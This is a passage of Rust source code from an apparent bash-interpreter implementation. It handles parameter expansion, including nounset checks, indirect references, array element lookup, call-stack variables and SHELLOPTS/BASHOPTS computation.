String::new(),\n        Some(ch) => {\n            let mut result = if pattern_matches_char(pattern, ch, extglob) {\n                safe_lower_char(ch).to_string()\n            } else {\n                ch.to_string()\n            };\n            result.extend(chars);\n            result\n        }\n    }\n}\n\n// ── Parameter resolution ────────────────────────────────────────────\n\n/// Check if `set -u` (nounset) should produce an error for this parameter.\n/// Returns an error if nounset is enabled and the parameter is unset.\n/// Special parameters ($@, $*, $#, $?, etc.) are always exempt.\nfn check_nounset(parameter: &Parameter, state: &InterpreterState) -> Result<(), RustBashError> {\n    if !state.shell_opts.nounset {\n        return Ok(());\n    }\n    // Special parameters are always OK\n    if matches!(\n        parameter,\n        Parameter::Special(_) | Parameter::NamedWithAllIndices { .. }\n    ) {\n        return Ok(());\n    }\n    if is_unset(state, parameter) {\n        let name = parameter_name(parameter);\n        return Err(RustBashError::ExpansionError {\n            message: format!(\"{name}: unbound variable\"),\n            exit_code: 1,\n            should_exit: !state.interactive_shell,\n        });\n    }\n    Ok(())\n}\n\nfn negative_substring_length_error(expr: &str) -> RustBashError {\n    RustBashError::ExpansionError {\n        message: format!(\"{expr}: substring expression < 0\"),\n        exit_code: 1,\n        should_exit: false,\n    }\n}\n\n/// Reject invalid parameter names like `${%}`.\n/// Bash reports \"bad substitution\" for these.\nfn validate_parameter_name(parameter: &Parameter) -> Result<(), RustBashError> {\n    if let Parameter::Named(name) = parameter\n        && (name.is_empty()\n            || !name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_')\n            || name.starts_with(|c: char| c.is_ascii_digit()))\n    {\n        return Err(RustBashError::Execution(format!(\n            \"${{{name}}}: bad substitution\"\n        )));\n    }\n    Ok(())\n}\n\n/// Extract the parameter from any ParameterExpr variant and validate it.\nfn validate_expr_parameter(expr: &ParameterExpr) -> Result<(), RustBashError> {\n    let param = match expr {\n        ParameterExpr::Parameter { parameter, .. }\n        | ParameterExpr::UseDefaultValues { parameter, .. }\n        | ParameterExpr::AssignDefaultValues { parameter, .. }\n        | ParameterExpr::IndicateErrorIfNullOrUnset { parameter, .. }\n        | ParameterExpr::UseAlternativeValue { parameter, .. }\n        | ParameterExpr::ParameterLength { parameter, .. }\n        | ParameterExpr::RemoveSmallestSuffixPattern { parameter, .. }\n        | ParameterExpr::RemoveLargestSuffixPattern { parameter, .. }\n        | ParameterExpr::RemoveSmallestPrefixPattern { parameter, .. }\n        | ParameterExpr::RemoveLargestPrefixPattern { parameter, .. }\n        | ParameterExpr::Substring { parameter, .. }\n        | ParameterExpr::UppercaseFirstChar { parameter, .. }\n        | ParameterExpr::UppercasePattern { parameter, .. }\n        | ParameterExpr::LowercaseFirstChar { parameter, .. }\n        | ParameterExpr::LowercasePattern { parameter, .. }\n        | ParameterExpr::ReplaceSubstring { parameter, .. }\n        | ParameterExpr::Transform { parameter, .. } => parameter,\n        ParameterExpr::VariableNames { .. } | ParameterExpr::MemberKeys { .. } => return Ok(()),\n    };\n    validate_parameter_name(param)\n}\n\nfn validate_length_transform_syntax(word: &str) -> Result<(), RustBashError> {\n    let bytes = word.as_bytes();\n    let mut i = 0usize;\n    while i + 2 < bytes.len() {\n        if bytes[i] == b'$' && bytes[i + 1] == b'{' && bytes[i + 2] == b'#' {\n            let mut j = i + 3;\n            while j < bytes.len() && bytes[j] != b'}' {\n                j += 1;\n            }\n            if j < bytes.len() {\n                let inner = &word[i + 3..j];\n                let inner_bytes = inner.as_bytes();\n                if let Some(end) = consume_parameter_reference_end(inner_bytes)\n                    && end != inner_bytes.len()\n                {\n                    return Err(RustBashError::Execution(format!(\n                        \"${{#{inner}}}: bad substitution\"\n                    )));\n                }\n                i = j + 1;\n                continue;\n            }\n        }\n        i += 1;\n    }\n    Ok(())\n}\n\nfn validate_empty_slice_syntax(word: &str) -> Result<(), RustBashError> {\n    let mut i = 0usize;\n    while let Some(rel_start) = word[i..].find(\"${\") {\n        let start = i + rel_start;\n        let Some((body, end)) = take_parameter_body(word, start + 2) else {\n            break;\n        };\n        if parameter_body_has_empty_slice_offset(body.as_bytes()) {\n            return Err(RustBashError::Execution(format!(\n                \"${{{body}}}: bad substitution\"\n            )));\n        }\n        i = end + 1;\n    }\n    Ok(())\n}\n\nfn parameter_body_has_empty_slice_offset(body: &[u8]) -> bool {\n    let Some(end) = consume_parameter_reference_end(body) else {\n        return false;\n    };\n    end + 1 == body.len() && body.get(end) == Some(&b':')\n}\n\nfn consume_parameter_reference_end(bytes: &[u8]) -> Option<usize> {\n    if bytes.is_empty() {\n        return None;\n    }\n    let mut i = 0usize;\n    match bytes[i] {\n        b'@' | b'*' | b'#' | b'?' | b'-' | b'$' | b'!' => i += 1,\n        b'0'..=b'9' => {\n            i += 1;\n            while i < bytes.len() && bytes[i].is_ascii_digit() {\n                i += 1;\n            }\n        }\n        b'a'..=b'z' | b'A'..=b'Z' | b'_' => {\n            i += 1;\n            while i < bytes.len() && (bytes[i].is_ascii_alphanumeric() || bytes[i] == b'_') {\n                i += 1;\n            }\n            if i < bytes.len() && bytes[i] == b'[' {\n                i = consume_balanced_brackets(bytes, i)?;\n            }\n        }\n        _ => return None,\n    }\n    Some(i)\n}\n\nfn consume_balanced_brackets(bytes: &[u8], start: usize) -> Option<usize> {\n    let mut depth = 1usize;\n    let mut i = start + 1;\n    while i < bytes.len() {\n        match bytes[i] {\n            b'[' => depth += 1,\n            b']' => {\n                depth -= 1;\n                if depth == 0 {\n                    return Some(i + 1);\n                }\n            }\n            _ => {}\n        }\n        i += 1;\n    }\n    None\n}\n\nfn validate_indirect_reference(\n    expr: &ParameterExpr,\n    state: &InterpreterState,\n) -> Result<(), RustBashError> {\n    let (parameter, indirect) = match expr {\n        ParameterExpr::Parameter {\n            parameter,\n            indirect,\n        }\n        | ParameterExpr::UseDefaultValues {\n            parameter,\n            indirect,\n            ..\n        }\n        | ParameterExpr::AssignDefaultValues {\n            parameter,\n            indirect,\n            ..\n        }\n        | ParameterExpr::IndicateErrorIfNullOrUnset {\n            parameter,\n            indirect,\n            ..\n        }\n        | ParameterExpr::UseAlternativeValue {\n            parameter,\n            indirect,\n            ..\n        }\n        | ParameterExpr::ParameterLength {\n            parameter,\n            indirect,\n        }\n        | ParameterExpr::RemoveSmallestSuffixPattern {\n            parameter,\n            indirect,\n            ..\n        }\n        | ParameterExpr::RemoveLargestSuffixPattern {\n            parameter,\n            indirect,\n            ..\n        }\n        | ParameterExpr::RemoveSmallestPrefixPattern {\n            parameter,\n            indirect,\n            ..\n        }\n        | ParameterExpr::RemoveLargestPrefixPattern {\n            parameter,\n            indirect,\n            ..\n        }\n        | ParameterExpr::Substring {\n            parameter,\n            indirect,\n            ..\n        }\n        | ParameterExpr::UppercaseFirstChar {\n            parameter,\n            indirect,\n            ..\n        }\n        | ParameterExpr::UppercasePattern {\n            parameter,\n            indirect,\n            ..\n        }\n        | ParameterExpr::LowercaseFirstChar {\n            parameter,\n            indirect,\n            ..\n        }\n        | ParameterExpr::LowercasePattern {\n            parameter,\n            indirect,\n            ..\n        }\n        | ParameterExpr::ReplaceSubstring {\n            parameter,\n            indirect,\n            ..\n        }\n        | ParameterExpr::Transform {\n            parameter,\n            indirect,\n            ..\n        } => (parameter, *indirect),\n        ParameterExpr::VariableNames { .. } | ParameterExpr::MemberKeys { .. } => {\n            return Ok(());\n        }\n    };\n\n    if indirect && is_unset(state, parameter) {\n        return Err(RustBashError::Execution(format!(\n            \"{}: invalid indirect expansion\",\n            parameter_name(parameter)\n        )));\n    }\n\n    // Validate that the indirect target value is a valid variable reference.\n    if indirect {\n        let val = resolve_parameter_direct(parameter, state);\n        if !val.is_empty() && !is_valid_indirect_target(&val) {\n            return Err(RustBashError::Execution(format!(\"{val}: bad substitution\")));\n        }\n    }\n\n    Ok(())\n}\n\n/// Check if a string is a valid target for indirect expansion.\n/// Valid: empty, simple var name, arr[idx], numeric (positional), @, *, #, ?, -, $, !\nfn is_valid_indirect_target(target: &str) -> bool {\n    if target.is_empty() {\n        return true;\n    }\n    // Special params\n    if matches!(target, \"@\" | \"*\" | \"#\" | \"?\" | \"-\" | \"$\" | \"!\") {\n        return true;\n    }\n    // Positional param (pure digits)\n    if target.chars().all(|c| c.is_ascii_digit()) {\n        return true;\n    }\n    // Array subscript: name[index]\n    if let Some(bracket_pos) = target.find('[') {\n        if target.ends_with(']') {\n            let name = &target[..bracket_pos];\n            return is_valid_var_name(name);\n        }\n        return false;\n    }\n    // Simple variable name\n    is_valid_var_name(target)\n}\n\nfn is_valid_var_name(name: &str) -> bool {\n    !name.is_empty()\n        && !name.starts_with(|c: char| c.is_ascii_digit())\n        && name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_')\n}\n\nfn resolve_parameter(parameter: &Parameter, state: &InterpreterState, indirect: bool) -> String {\n    if indirect {\n        if let Parameter::Named(name) = parameter {\n            // Check if the variable is a nameref. Bash inverts the meaning of\n            // `${!ref}` when ref IS a nameref: it returns the nameref target\n            // name instead of performing an additional indirect lookup.\n            let is_nameref = state\n                .env\n                .get(name.as_str())\n                .is_some_and(|v| v.attrs.contains(crate::interpreter::VariableAttrs::NAMEREF));\n            if is_nameref {\n                // Return the target name (the scalar value stored in the nameref).\n                return state\n                    .env\n                    .get(name.as_str())\n                    .map(|v| v.value.as_scalar().to_string())\n                    .unwrap_or_default();\n            }\n        }\n        let val = resolve_parameter_direct(parameter, state);\n        resolve_indirect_value(&val, state)\n    } else {\n        resolve_parameter_direct(parameter, state)\n    }\n}\n\n/// Given a string that is the value of `${!ref}`, resolve it as a variable reference.\n/// Handles: simple names, `arr[idx]`, positional params (`1`, `2`), and special (`@`, `*`).\nfn resolve_indirect_value(target: &str, state: &InterpreterState) -> String {\n    if target.is_empty() {\n        return String::new();\n    }\n    // Check for array subscript: name[index]\n    if let Some(bracket_pos) = target.find('[')\n        && target.ends_with(']')\n    {\n        let name = &target[..bracket_pos];\n        let index_raw = &target[bracket_pos + 1..target.len() - 1];\n        if index_raw == \"@\" || index_raw == \"*\" {\n            // ${!ref} where ref=arr[@] or ref=arr[*]\n            let concatenate = index_raw == \"*\";\n            return resolve_all_elements(name, concatenate, state);\n        }\n        // Expand simple $var references in the index.\n        let index = expand_simple_dollar_vars(index_raw, state);\n        return resolve_array_element(name, &index, state);\n    }\n    // Check for positional parameter (numeric string)\n    if let Ok(n) = target.parse::<u32>() {\n        if n == 0 {\n            return state.shell_name.clone();\n        }\n        return state\n            .positional_params\n            .get(n as usize - 1)\n            .cloned()\n            .unwrap_or_default();\n    }\n    // Check for special parameters\n    match target {\n        \"@\" => state.positional_params.join(\" \"),\n        \"*\" => {\n            let sep = match get_var(state, \"IFS\") {\n                Some(s) => s.chars().next().map(|c| c.to_string()).unwrap_or_default(),\n                None => \" \".to_string(),\n            };\n            state.positional_params.join(&sep)\n        }\n        \"#\" => state.positional_params.len().to_string(),\n        \"?\" => state.last_exit_code.to_string(),\n        \"-\" => String::new(),\n        \"$\" => \"1\".to_string(),\n        \"!\" => String::new(),\n        _ => {\n            // Validate that the target is a valid variable name.\n            if !target\n                .chars()\n                .all(|c| c.is_ascii_alphanumeric() || c == '_')\n                || target.starts_with(|c: char| c.is_ascii_digit())\n            {\n                return String::new();\n            }\n            get_var(state, target).unwrap_or_default()\n        }\n    }\n}\n\nfn resolve_parameter_direct(parameter: &Parameter, state: &InterpreterState) -> String {\n    match parameter {\n        Parameter::Named(name) => resolve_named_var(name, state),\n        Parameter::Positional(n) => {\n            if *n == 0 {\n                state.shell_name.clone()\n            } else {\n                state\n                    .positional_params\n                    .get(*n as usize - 1)\n                    .cloned()\n                    .unwrap_or_default()\n            }\n        }\n        Parameter::Special(sp) => resolve_special(sp, state),\n        Parameter::NamedWithIndex { name, index } => resolve_array_element(name, index, state),\n        Parameter::NamedWithAllIndices { name, concatenate } => {\n            // For resolve_parameter_direct, join all values into a single string.\n            // The actual multi-word expansion for [@] is handled in expand_param_value.\n            resolve_all_elements(name, *concatenate, state)\n        }\n    }\n}\n\n/// Strip surrounding quotes (single or double) from a string.\n/// Used for associative array key lookups where `A[\"key\"]` and `A['key']` should use `key`.\nfn strip_quotes(s: &str) -> String {\n    let s = s.trim();\n    if (s.starts_with('\"') && s.ends_with('\"')) || (s.starts_with('\\'') && s.ends_with('\\'')) {\n        s[1..s.len() - 1].to_string()\n    } else {\n        s.to_string()\n    }\n}\n\n/// Resolve `${arr[index]}` — look up a specific element of an array variable.\nfn resolve_array_element(name: &str, index: &str, state: &InterpreterState) -> String {\n    if index.trim().is_empty() {\n        return String::new();\n    }\n    // Handle call-stack pseudo-arrays before checking env.\n    if let Some(val) = resolve_call_stack_element(name, index, state) {\n        return val;\n    }\n    use crate::interpreter::VariableValue;\n    let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n    let Some(var) = state.env.get(&resolved) else {\n        return String::new();\n    };\n    match &var.value {\n        VariableValue::IndexedArray(map) => {\n            let expanded_index = expand_simple_dollar_vars(index, state);\n            let idx = simple_arith_eval(&expanded_index, state);\n            let actual_idx = if idx < 0 {\n                let max_key = map.keys().next_back().copied().unwrap_or(0);\n                let resolved = max_key as i64 + 1 + idx;\n                if resolved < 0 {\n                    return String::new();\n                }\n                resolved as usize\n            } else {\n                idx as usize\n            };\n            map.get(&actual_idx).cloned().unwrap_or_default()\n        }\n        VariableValue::AssociativeArray(map) => {\n            let key = strip_quotes(&expand_simple_dollar_vars(index, state));\n            map.get(&key).cloned().unwrap_or_default()\n        }\n        VariableValue::Scalar(s) => {\n            let expanded_index = expand_simple_dollar_vars(index, state);\n            let idx = simple_arith_eval(&expanded_index, state);\n            if idx == 0 || idx == -1 {\n                s.clone()\n            } else {\n                String::new()\n            }\n        }\n    }\n}\n\n/// Mutable variant of `resolve_array_element` that can expand `$`-references\n/// and evaluate full arithmetic expressions in the index (e.g. `${a[$i]}`,\n/// `${a[i-4]}`, `${a[$(echo 1)]}`).\nfn resolve_array_element_mut(\n    name: &str,\n    index: &str,\n    state: &mut InterpreterState,\n) -> Result<String, RustBashError> {\n    if index.trim().is_empty() {\n        return Err(RustBashError::Execution(format!(\n            \"{name}: bad array subscript\"\n        )));\n    }\n    // Handle call-stack pseudo-arrays before checking env.\n    if let Some(val) = resolve_call_stack_element(name, index, state) {\n        return Ok(val);\n    }\n    use crate::interpreter::VariableValue;\n    let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n\n    // Check if associative array — use key as string, not arithmetic.\n    let is_assoc = state\n        .env\n        .get(&resolved)\n        .is_some_and(|v| matches!(&v.value, VariableValue::AssociativeArray(_)));\n\n    if is_assoc {\n        // Expand $-references in the key string, then strip quotes.\n        let expanded = expand_arith_expression(index, state)?;\n        let key = strip_quotes(&expanded);\n        let val = state\n            .env\n            .get(&resolved)\n            .and_then(|v| {\n                if let VariableValue::AssociativeArray(map) = &v.value {\n                    map.get(&key).cloned()\n                } else {\n                    None\n                }\n            })\n            .unwrap_or_default();\n        return Ok(val);\n    }\n\n    // Indexed array or scalar: expand $-references then evaluate as arithmetic.\n    let expanded = expand_arith_expression(index, state)?;\n    let idx = crate::interpreter::arithmetic::eval_arithmetic(&expanded, state)?;\n\n    let val = state\n        .env\n        .get(&resolved)\n        .map(|var| match &var.value {\n            VariableValue::IndexedArray(map) => {\n                let actual_idx = if idx < 0 {\n                    let max_key = map.keys().next_back().copied().unwrap_or(0);\n                    let resolved_idx = max_key as i64 + 1 + idx;\n                    if resolved_idx < 0 {\n                        let ln = state.current_lineno;\n                        state.pending_cmdsub_stderr.push_str(&format!(\n                            \"rust-bash: line {ln}: {resolved}: bad array subscript\\n\"\n                        ));\n                        return String::new();\n                    }\n                    resolved_idx as usize\n                } else {\n                    idx as usize\n                };\n                map.get(&actual_idx).cloned().unwrap_or_default()\n            }\n            VariableValue::Scalar(s) => {\n                if idx == 0 || idx == -1 {\n                    s.clone()\n                } else {\n                    String::new()\n                }\n            }\n            _ => String::new(),\n        })\n        .unwrap_or_default();\n    Ok(val)\n}\n\n/// Resolve `${FUNCNAME[i]}`, `${BASH_SOURCE[i]}`, `${BASH_LINENO[i]}` from the call stack.\n/// Returns `None` if `name` is not a call-stack array, so the caller falls through to env.\nfn resolve_call_stack_element(name: &str, index: &str, state: &InterpreterState) -> Option<String> {\n    match name {\n        \"FUNCNAME\" | \"BASH_SOURCE\" | \"BASH_LINENO\" => {}\n        _ => return None,\n    }\n\n    // FUNCNAME is empty outside of functions.\n    if name == \"FUNCNAME\" && state.in_function_depth == 0 {\n        return Some(String::new());\n    }\n\n    let raw_idx = simple_arith_eval(index, state);\n\n    // Build the virtual array: call_stack frames (reversed) + optional main frame.\n    let need_main = state.script_source.is_some()\n        && state\n            .call_stack\n            .first()\n            .map(|f| f.func_name != \"source\")\n            .unwrap_or(false);\n    let virtual_len = state.call_stack.len() + if need_main { 1 } else { 0 };\n\n    let idx = if raw_idx < 0 {\n        let resolved = virtual_len as i64 + raw_idx;\n        if resolved < 0 {\n            return Some(String::new());\n        }\n        resolved as usize\n    } else {\n        raw_idx as usize\n    };\n    if idx >= virtual_len {\n        return Some(String::new());\n    }\n\n    // Index into the reversed call_stack, with main at the end.\n    let len = state.call_stack.len();\n    if idx < len {\n        let frame_idx = len - 1 - idx;\n        let frame = &state.call_stack[frame_idx];\n        Some(match name {\n            \"FUNCNAME\" => frame.func_name.clone(),\n            \"BASH_SOURCE\" => frame.source.clone(),\n            \"BASH_LINENO\" => frame.lineno.to_string(),\n            _ => String::new(),\n        })\n    } else {\n        // This is the synthetic \"main\" frame.\n        Some(match name {\n            \"FUNCNAME\" => \"main\".to_string(),\n            \"BASH_SOURCE\" => state.script_source.clone().unwrap_or_default(),\n            \"BASH_LINENO\" => \"0\".to_string(),\n            _ => String::new(),\n        })\n    }\n}\n\n/// Simple arithmetic evaluation for array indices in immutable contexts.\n/// Handles integer literals, variable names, and simple expressions.\npub(crate) fn simple_arith_eval(expr: &str, state: &InterpreterState) -> i64 {\n    let trimmed = expr.trim();\n    // Try as integer literal\n    if let Ok(n) = trimmed.parse::<i64>() {\n        return n;\n    }\n    // Try as variable name\n    if trimmed\n        .chars()\n        .all(|c| c.is_ascii_alphanumeric() || c == '_')\n    {\n        return read_var_immutable(state, trimmed);\n    }\n    // For complex expressions, return 0 — full arithmetic eval requires &mut\n    0\n}\n\n/// Read a variable as i64 (immutable — for use in expansion.rs contexts).\nfn read_var_immutable(state: &InterpreterState, name: &str) -> i64 {\n    let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n    state\n        .env\n        .get(&resolved)\n        .map(|v| v.value.as_scalar().parse::<i64>().unwrap_or(0))\n        .unwrap_or(0)\n}\n\n/// Resolve all elements of an array, joined into a single string.\n/// `concatenate=true` → `[*]` (join with IFS[0]), `concatenate=false` → `[@]` (join with space).\nfn resolve_all_elements(name: &str, concatenate: bool, state: &InterpreterState) -> String {\n    // Handle call-stack pseudo-arrays.\n    if let Some(vals) = get_call_stack_values(name, state) {\n        let sep = if concatenate {\n            match get_var(state, \"IFS\") {\n                Some(s) => s.chars().next().map(|c| c.to_string()).unwrap_or_default(),\n                None => \" \".to_string(),\n            }\n        } else {\n            \" \".to_string()\n        };\n        return vals.join(&sep);\n    }\n    use crate::interpreter::VariableValue;\n    let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n    let Some(var) = state.env.get(&resolved) else {\n        return String::new();\n    };\n    let values: Vec<&str> = match &var.value {\n        VariableValue::IndexedArray(map) => map.values().map(|s| s.as_str()).collect(),\n        VariableValue::AssociativeArray(map) => map.values().map(|s| s.as_str()).collect(),\n        VariableValue::Scalar(s) => {\n            if s.is_empty() {\n                vec![]\n            } else {\n                vec![s.as_str()]\n            }\n        }\n    };\n    if concatenate {\n        let sep = match get_var(state, \"IFS\") {\n            Some(s) => s.chars().next().map(|c| c.to_string()).unwrap_or_default(),\n            None => \" \".to_string(),\n        };\n        values.join(&sep)\n    } else {\n        values.join(\" \")\n    }\n}\n\n/// Get all values of call-stack pseudo-arrays as a Vec of owned Strings.\n/// Returns `None` if `name` is not a call-stack array.\nfn get_call_stack_values(name: &str, state: &InterpreterState) -> Option<Vec<String>> {\n    if state.call_stack.is_empty() {\n        return match name {\n            \"FUNCNAME\" | \"BASH_SOURCE\" | \"BASH_LINENO\" => Some(vec![]),\n            _ => None,\n        };\n    }\n\n    // FUNCNAME is only populated when inside a function.\n    if name == \"FUNCNAME\" && state.in_function_depth == 0 {\n        return Some(vec![]);\n    }\n\n    // Add a synthetic \"main\" frame at the bottom when we're executing a script\n    // file (not -c, not sourced). The main frame represents the script entry point.\n    let need_main = state.script_source.is_some()\n        && state\n            .call_stack\n            .first()\n            .map(|f| f.func_name != \"source\")\n            .unwrap_or(false);\n\n    match name {\n        \"FUNCNAME\" => {\n            let mut vals: Vec<String> = state\n                .call_stack\n                .iter()\n                .rev()\n                .map(|f| f.func_name.clone())\n                .collect();\n            if need_main {\n                vals.push(\"main\".to_string());\n            }\n            Some(vals)\n        }\n        \"BASH_SOURCE\" => {\n            let mut vals: Vec<String> = state\n                .call_stack\n                .iter()\n                .rev()\n                .map(|f| f.source.clone())\n                .collect();\n            if need_main && let Some(ref src) = state.script_source {\n                vals.push(src.clone());\n            }\n            Some(vals)\n        }\n        \"BASH_LINENO\" => {\n            let mut vals: Vec<String> = state\n                .call_stack\n                .iter()\n                .rev()\n                .map(|f| f.lineno.to_string())\n                .collect();\n            if need_main {\n                vals.push(\"0\".to_string());\n            }\n            Some(vals)\n        }\n        _ => None,\n    }\n}\n\n/// Returns the individual element values for a parameter if it represents an\n/// array expansion (`[@]` or `[*]` or `$@` / `$*`).  Returns `None` for scalar\n/// parameters so the caller can fall through to the normal scalar path.  When\n/// `Some` is returned, the bool indicates whether the values should be\n/// concatenated (`[*]` / `$*`) or kept separate (`[@]` / `$@`).\nfn get_vectorized_values(\n    parameter: &Parameter,\n    state: &InterpreterState,\n    indirect: bool,\n) -> Option<(Vec<String>, bool)> {\n    let _ = indirect; // indirect not yet relevant for array expansion\n    match parameter {\n        Parameter::NamedWithAllIndices { name, concatenate } => {\n            Some((get_array_values(name, state), *concatenate))\n        }\n        Parameter::Special(SpecialParameter::AllPositionalParameters { concatenate }) => {\n            Some((state.positional_params.clone(), *concatenate))\n        }\n        _ => None,\n    }\n}\n\n/// Push vectorized operation results into `words`, handling `[@]` vs `[*]`\n/// semantics (separate words vs IFS-joined).\nfn push_vectorized(\n    results: Vec<String>,\n    concatenate: bool,\n    words: &mut Vec<WordInProgress>,\n    state: &InterpreterState,\n    in_dq: bool,\n) {\n    if concatenate {\n        let sep = match get_var(state, \"IFS\") {\n            Some(s) => s.chars().next().map(|c| c.to_string()).unwrap_or_default(),\n            None => \" \".to_string(),\n        };\n        let joined = results.join(&sep);\n        push_segment(words, &joined, in_dq, in_dq);\n    } else {\n        for (i, v) in results.iter().enumerate() {\n            if i > 0 {\n                start_new_word(words);\n            }\n            if !in_dq && v.is_empty() && ifs_preserves_unquoted_empty(state) {\n                push_synthetic_empty_segment(words);\n            } else {\n                push_segment(words, v, in_dq, in_dq);\n            }\n        }\n    }\n}\n\n/// Get all values of an array variable as a Vec.\nfn get_array_values(name: &str, state: &InterpreterState) -> Vec<String> {\n    // Handle call-stack pseudo-arrays first.\n    if let Some(vals) = get_call_stack_values(name, state) {\n        return vals;\n    }\n    use crate::interpreter::VariableValue;\n    let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n    let Some(var) = state.env.get(&resolved) else {\n        return Vec::new();\n    };\n    match &var.value {\n        VariableValue::IndexedArray(map) => map.values().cloned().collect(),\n        VariableValue::AssociativeArray(map) => map.values().cloned().collect(),\n        VariableValue::Scalar(s) => {\n            if s.is_empty() {\n                vec![]\n            } else {\n                vec![s.clone()]\n            }\n        }\n    }\n}\n\n/// Get (key, value) pairs from an array or positional parameters.\n/// Keys are numeric indices cast to `usize` for indexed arrays and positional params.\n/// Used by Substring/slice expansion to support sparse-array key-based offsets.\nfn get_array_kv_pairs(parameter: &Parameter, state: &InterpreterState) -> Vec<(usize, String)> {\n    match parameter {\n        Parameter::NamedWithAllIndices { name, .. } => {\n            if let Some(vals) = get_call_stack_values(name, state) {\n                return vals.into_iter().enumerate().collect();\n            }\n            use crate::interpreter::VariableValue;\n            let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n            let Some(var) = state.env.get(&resolved) else {\n                return Vec::new();\n            };\n            match &var.value {\n                VariableValue::IndexedArray(map) => {\n                    map.iter().map(|(&k, v)| (k, v.clone())).collect()\n                }\n                VariableValue::AssociativeArray(map) => {\n                    // Assoc arrays don't have meaningful numeric keys for slicing,\n                    // but bash allows it — just use enumeration order.\n                    map.values()\n                        .enumerate()\n                        .map(|(i, v)| (i, v.clone()))\n                        .collect()\n                }\n                VariableValue::Scalar(s) => {\n                    if s.is_empty() {\n                        vec![]\n                    } else {\n                        vec![(0, s.clone())]\n                    }\n                }\n            }\n        }\n        Parameter::Special(SpecialParameter::AllPositionalParameters { .. }) => state\n            .positional_params\n            .iter()\n            .enumerate()\n            .map(|(i, v)| (i, v.clone()))\n            .collect(),\n        _ => Vec::new(),\n    }\n}\n\nfn positional_slice_values_and_start(\n    state: &InterpreterState,\n    offset: i64,\n) -> (Vec<String>, usize) {\n    if offset == 0 {\n        let mut values = vec![state.shell_name.clone()];\n        values.extend(state.positional_params.iter().cloned());\n        return (values, 0);\n    }\n\n    if offset < 0 {\n        // Negative offsets count from end of the full [$0, $1, ..., $n] array.\n        let full_len = 1 + state.positional_params.len() as i64; // includes $0\n        let resolved = full_len + offset;\n        if resolved <= 0 {\n            // Wraps past $0 or OOB — include everything from $0\n            if resolved == 0 {\n                let mut values = vec![state.shell_name.clone()];\n                values.extend(state.positional_params.iter().cloned());\n                return (values, 0);\n            }\n            // Completely out of bounds — return empty\n            return (Vec::new(), 0);\n        }\n        // resolved > 0: start is within positional params (1-based index)\n        let start = (resolved - 1) as usize;\n        return (state.positional_params.clone(), start);\n    }\n\n    // Positive offset > 0: 1-based index into positional params\n    let start = (offset - 1) as usize;\n    (state.positional_params.clone(), start)\n}\n\n/// Get keys/indices of an array variable.\nfn get_array_keys(name: &str, state: &InterpreterState) -> Vec<String> {\n    // Handle call-stack pseudo-arrays first.\n    if let Some(vals) = get_call_stack_values(name, state) {\n        return (0..vals.len()).map(|i| i.to_string()).collect();\n    }\n    use crate::interpreter::VariableValue;\n    let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n    let Some(var) = state.env.get(&resolved) else {\n        return Vec::new();\n    };\n    match &var.value {\n        VariableValue::IndexedArray(map) => map.keys().map(|k| k.to_string()).collect(),\n        VariableValue::AssociativeArray(map) => map.keys().cloned().collect(),\n        VariableValue::Scalar(s) => {\n            if s.is_empty() {\n                vec![]\n            } else {\n                vec![\"0\".to_string()]\n            }\n        }\n    }\n}\n\nfn resolve_named_var(name: &str, state: &InterpreterState) -> String {\n    // $RANDOM is handled exclusively via the mutable path\n    // (resolve_parameter_maybe_mut → next_random) to use a single PRNG.\n    match name {\n        \"LINENO\" => return state.current_lineno.to_string(),\n        \"SECONDS\" => return state.shell_start_time.elapsed().as_secs().to_string(),\n        \"_\" => return state.last_argument.clone(),\n        \"PPID\" => return state.parent_pid.to_string(),\n        \"UID\" => return \"1000\".to_string(),\n        \"EUID\" => return \"1000\".to_string(),\n        \"BASHPID\" => return state.bash_pid.to_string(),\n        \"SHELLOPTS\" => return compute_shellopts(state),\n        \"BASHOPTS\" => return compute_bashopts(state),\n        \"MACHTYPE\" => return state.machtype.clone(),\n        \"HOSTTYPE\" => return state.hosttype.clone(),\n        \"FUNCNAME\" | \"BASH_SOURCE\" | \"BASH_LINENO\" => {\n            return resolve_call_stack_scalar(name, state);\n        }\n        _ => {}\n    }\n    get_var(state, name).unwrap_or_default()\n}\n\n/// Compute `SHELLOPTS` — colon-separated list of enabled `set -o` options.\nfn compute_shellopts(state: &InterpreterState) -> String {\n    let mut opts = Vec::new();\n    if state.shell_opts.allexport {\n        opts.push(\"allexport\");\n    }\n    // braceexpand is always on\n    opts.push(\"braceexpand\");\n    if state.shell_opts.emacs_mode {\n        opts.push(\"emacs\");\n    }\n    if state.shell_opts.errexit {\n        opts.push(\"errexit\");\n    }\n    // hashall is always on\n    opts.push(\"hashall\");\n    if state.shell_opts.noclobber {\n        opts.push(\"noclobber\");\n    }\n    if state.shell_opts.noexec {\n        opts.push(\"noexec\");\n    }\n    if state.shell_opts.noglob {\n        opts.push(\"noglob\");\n    }\n    if state.shell_opts.nounset {\n        opts.push(\"nounset\");\n    }\n    if state.shell_opts.pipefail {\n        opts.push(\"pipefail\");\n    }\n    if state.shell_opts.posix {\n        opts.push(\"posix\");\n    }\n    if state.shell_opts.verbose {\n        opts.push(\"verbose\");\n    }\n    if state.shell_opts.vi_mode {\n        opts.push(\"vi\");\n    }\n    if state.shell_opts.xtrace {\n        opts.push(\"xtrace\");\n    }\n    // Already in alphabetical order due to how we construct it\n    opts.join(\":\")\n}\n\n/// Compute `BASHOPTS` — colon-separated list of enabled `shopt` options.\nfn compute_bashopts(state: &InterpreterState) -> String {\n    let o = &state.shopt_opts;\n    let mut opts = Vec::new();\n    // Must be alphabetical order (bash convention)\n    if o.assoc_expand_once {\n        opts.push(\"assoc_expand_once\");\n    }\n    if o.autocd {\n        opts.push(\"autocd\");\n    }\n    if o.cdable_vars {\n        opts.push(\"cdable_vars\");\n    }\n    if o.cdspell {\n        opts.push(\"cdspell\");\n    }\n    if o.checkhash {\n        opts.push(\"checkhash\");\n    }\n    if o.checkjobs {\n        opts.push(\"checkjobs\");\n    }\n    if o.checkwinsize {\n        opts.push(\"checkwinsize\");\n    }\n    if o.cmdhist {\n        opts.push(\"cmdhist\");\n    }\n    if o.complete_fullquote {\n        opts.push(\"complete_fullquote\");\n    }\n    